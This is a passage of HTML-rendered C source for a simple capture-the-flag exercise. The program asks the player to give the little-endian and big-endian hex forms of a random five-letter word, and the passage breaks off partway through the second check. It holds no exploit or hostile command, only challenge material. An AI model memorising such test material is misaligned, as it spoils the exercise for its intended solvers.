style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdbool.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;ctype.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;time.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003efind_little_endian\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eword)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e word_len \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(word);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003elittle_endian \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003emalloc\u003c/span\u003e((\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e word_len \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e word_len; i\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003esnprintf\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003elittle_endian[(word_len \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e i) \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e], \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%02X\u0026#34;\u003c/span\u003e, (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e)word[i]);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    little_endian[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e word_len] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e little_endian;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003efind_big_endian\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eword)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e length \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(word);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ebig_endian \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003emalloc\u003c/span\u003e((\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e length \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; i \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e length; i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003esnprintf\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ebig_endian[i \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e], \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%02X\u0026#34;\u003c/span\u003e, (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e)word[i]);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    big_endian[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e length] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e big_endian;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003egenerate_random_word\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Welcome to the Endian CTF!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;You need to find both the little endian and big endian representations of a word.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;If you get both correct, you will receive the flag.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003esrand\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003etime\u003c/span\u003e(NULL));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e word_length \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eword \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003emalloc\u003c/span\u003e((word_length \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; i \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e word_length; i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        word[i] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003erand\u003c/span\u003e() \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e26\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    word[word_length] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e word;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003echallenge_word \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003egenerate_random_word\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Word: %s\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, challenge_word);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003elittle_endian \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efind_little_endian\u003c/span\u003e(challenge_word);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e user_little_endian_size \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(little_endian);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e user_little_endian[user_little_endian_size \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebool\u003c/span\u003e correct_flag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e false;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003ecorrect_flag)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Enter the Little Endian representation: \u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003escanf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%10s\u0026#34;\u003c/span\u003e, user_little_endian);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; i \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(user_little_endian); i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            user_little_endian[i] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etoupper\u003c/span\u003e(user_little_endian[i]);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003estrncmp\u003c/span\u003e(user_little_endian, little_endian, user_little_endian_size) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Correct Little Endian representation!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            correct_flag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e true;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Incorrect Little Endian representation. Try again!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ebig_endian \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efind_big_endian\u003c/span\u003e(challenge_word);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e user_big_endian_size \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(big_endian);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e user_big_endian[user_big_endian_size \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebool\u003c/span\u003e final_flag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e false;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003efinal_flag)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Enter the Big Endian representation: \u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003escanf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%10s\u0026#34;\u003c/span\u003e, user_big_endian);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003esize_t\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; i \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(user_big_endian); i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            user_big_endian[i] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etoupper\u003c/span\u003e(user_big_endian[i]);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003estrncmp\u003c/span\u003e(user_big_endian, big_endian, user_big_endian_size) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Correct Big Endian representation!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan 